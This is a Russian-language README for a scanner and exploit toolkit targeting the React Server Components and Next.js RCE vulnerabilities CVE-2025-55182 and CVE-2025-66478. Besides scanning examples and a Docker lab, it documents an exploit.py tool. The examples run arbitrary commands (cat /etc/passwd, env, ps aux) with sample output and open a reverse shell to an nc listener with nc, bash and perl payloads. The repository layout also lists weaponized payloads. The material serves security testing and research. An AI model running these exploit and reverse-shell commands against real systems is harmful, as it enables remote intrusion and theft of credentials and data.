
React2shell-web-scanner
Высокоточный сканер уязвимостей для CVE-2025-55182 и CVE-2025-66478 — уязвимостей удалённого выполнения кода (RCE) в React Server Components / Next.js.
📖 Подробный технический анализ, механику эксплуатации и данные IOC см. в SECURITY-RESEARCH.md
Этот инструмент предоставляется ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. Несанкционированный доступ к компьютерным системам является незаконным. Используйте эти инструменты только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Авторы не несут ответственности за неправомерное использование.
| CVE | Описание | CVSS |
|---|---|---|
| CVE-2025-55182 | Небезопасная десериализация RCE в React Server Components | 9.8 Критический |
| CVE-2025-66478 | RCE в Next.js Server Actions | 9.8 Критический |
Затронутые пакеты:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0Исправленные версии:
# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# Single URL
python3 react2shell-scanner -u https://example.com
# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check
# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains
# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# Custom paths
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v
# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
Создайте файл .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
Или используйте переменные окружения:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
В комплект входит тестовая среда на базе Docker. Краткую справку см. в Lab-instructions-sample.md.
# Start lab
cd test-lab/lab
docker-compose up -d
# Services:
# - Vulnerable: http://localhost:3011
# - Patched: http://localhost:3012
# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# Test patched instance
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# Run full demo
./test-and-demo.sh --full-demo
⚠️ Примечание: Команды эксплуатации (например,
exploit.py -c "whoami") выполняют РЕАЛЬНЫЙ RCE. Используйте только на локальных Docker-контейнерах в исследовательских целях.
Выполняет команды на уязвимых целях. Требуется Python 3.11+
cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# Start listener (in another terminal)
nc -lvnp 4444
# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# Available payload types: nc, nc-mkfifo, sh, bash, perl
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
Сканер включает известные индикаторы компрометации (IOC) из активных кампаний эксплуатации:
payloads-exploits/iocs.csvpayloads-exploits/weaponized-payloadspayloads-exploits/iocs_patterns.csvОбнаруженные совпадения по IOC помечаются как имеющие высокий уровень критичности.
| File | Содержимое |
|---|---|
iocs.csv | 32 известных вредоносных IP-адреса с данными геолокации |
--safe-check)echo $((41*271))react2shell-scanner-CVE-2025-55182/
├── react2shell-scanner # Main scanner script
├── cve-2025-66478-web-scan # Original scanner reference
├── nuclei-rules # Nuclei template
├── test-and-demo.sh # Test automation
├── README.md # This file
├── SECURITY-RESEARCH.md # Detailed technical analysis
├── Lab-instructions-sample.md # Quick lab testing guide
├── payloads-exploits/
│ ├── iocs.csv # Known malicious IPs
│ ├── iocs_patterns.csv # Extended IOCs (domains, URLs, hashes)
│ ├── weaponized-payloads # Real-world attack payloads
│ └── exploit-2025-55182 # Raw HTTP exploit request
└── test-lab/
├── exploit.py # Exploitation tool
├── lab/
│ ├── docker-compose.yml
│ ├── vulnerable/ # Vulnerable Next.js app
│ └── patched/ # Patched Next.js app
└── packages/
├── vulnerable/ # Vulnerable npm packages
└── patched/ # Patched npm packages
| Repository | Назначение |
|---|---|
| react2shell-scanner-CVE-2025-55182 | Лабораторные среды, сканер и эксплойты (этот репозиторий) |
| react2shell-scanner-rce-react-next | Полноценный сканер с веб-интерфейсом |
Этот инструмент предоставляется только для авторизованного тестирования безопасности. Перед сканированием любых целей вы должны иметь явное письменное разрешение. Несанкционированное сканирование может нарушать законы о компьютерных преступлениях.
Используйте ответственно:
Подготовлено исследователями безопасности, работающими над тем, чтобы сделать веб безопаснее.
| Option | Описание |
|---|
-u, --url | URL цели (обязательно) |
-c, --cmd | Команда для выполнения |
-r, --reverse | Включить режим обратной оболочки |
-l, --lhost | Хост-слушатель для обратной оболочки |
-p, --lport | Порт-слушатель для обратной оболочки |
-P, --payload | Тип полезной нагрузки: nc, nc-mkfifo, sh, bash, perl |
--timeout | Таймаут запроса (по умолчанию: 10 с) |
iocs_patterns.csv | Расширенные IOC: C2-домены, URL дропперов, хеши вредоносного ПО, Monero-кошельки |
weaponized-payloads | Реальные атакующие полезные нагрузки, наблюдавшиеся при активной эксплуатации |
exploit-2025-55182 | Формат исходного HTTP-запроса для эксплойта |